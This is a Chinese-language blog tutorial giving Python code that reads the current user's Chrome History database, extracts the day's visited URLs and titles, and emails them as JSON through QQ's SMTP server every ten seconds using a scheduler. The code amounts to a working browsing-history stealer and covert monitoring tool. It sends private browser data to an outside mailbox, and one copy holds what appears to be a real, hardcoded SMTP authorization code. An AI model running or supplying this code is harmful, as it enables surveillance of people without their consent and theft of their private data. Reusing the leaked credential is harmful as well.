python 讀取谷歌瀏覽器訪問記錄

  • 獲取用戶數據
import sqlite3 as db
import getpass
user_name = getpass.getuser() # 獲取當前用戶名
# 從SQLite文件中讀取數據
def readFronSqllite(db_path,exectCmd):
    conn = db.connect(db_path)  # 該 API 打開一個到 SQLite 數據庫文件 database 的鏈接,如果數據庫成功打開,則返回一個連接對象
    cursor=conn.cursor()        # 該例程創建一個 cursor,將在 Python 數據庫編程中用到。
    conn.row_factory=db.Row     # 可訪問列信息
    cursor.execute(exectCmd)    #該例程執行一個 SQL 語句
    rows=cursor.fetchall()      #該例程獲取查詢結果集中所有(剩餘)的行,返回一個列表。當沒有可用的行時,則返回一個空的列表。
    return rows
    #print(rows[0][2]) # 選擇某一列數據


path1 = '''C:/Users/'''
path2 = "/AppData/Local/Google/Chrome/User Data/Profile 3/History"
print(user_name)
path = path1 + user_name + path2;
sql = "select url,title,datetime(last_visit_time/1000000-11644473600,'unixepoch','localtime')  as time from urls  where datetime(last_visit_time/1000000-11644473600,'unixepoch','localtime') >=datetime('now','start of day','+0 day') and datetime(last_visit_time/1000000-11644473600,'unixepoch','localtime')<datetime('now','start of day','+1 day')"
result = readFronSqllite(path,sql)
  • 發送郵件部分
import smtplib
import json
from email.mime.text import MIMEText
from email.header import Header

receivers = ['[email protected]']
sender = '[email protected]'  # 接收郵件,可設置爲你的QQ郵箱或者其他郵箱

message = MIMEText( json.dumps(result, ensure_ascii=False), 'plain', 'utf-8')
message['From'] = Header("devin", 'utf-8')   # 發送者
message['To'] =  Header("簡單", 'utf-8')        # 接收者

def sendEmail():
    subject = '谷歌瀏覽器'
    message['Subject'] = Header(subject, 'utf-8')
    try:
        smtpObj = smtplib.SMTP() 
        smtpObj.connect("smtp.qq.com", 25)    # 25 爲 SMTP 端口號
        smtpObj.login("[email protected]","password")  
        smtpObj.sendmail(sender, receivers, message.as_string())
        print( "郵件發送成功")
    except smtplib.SMTPException:
        print ("Error: 無法發送郵件")
  • 定時程序
def sendEmail():
    subject = '谷歌瀏覽器'
    message['Subject'] = Header(subject, 'utf-8')
    try:
        smtpObj = smtplib.SMTP() 
        smtpObj.connect("smtp.qq.com", 25)    # 25 爲 SMTP 端口號
        smtpObj.login("[email protected]","wjenghtjbtxnfjgi")  
        smtpObj.sendmail(sender, receivers, message.as_string())
        print( "郵件發送成功")
    except smtplib.SMTPException:
        print ("Error: 無法發送郵件")
from datetime import datetime
import os
from apscheduler.schedulers.blocking import BlockingScheduler
if __name__ == '__main__':
    scheduler = BlockingScheduler()
    scheduler.add_job(sendEmail, 'interval', seconds=10)
    print('Press Ctrl+{0} to exit'.format('Break' if os.name == 'nt' else 'C    '))

    try:
        scheduler.start()
    except (KeyboardInterrupt, SystemExit):
        pass
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章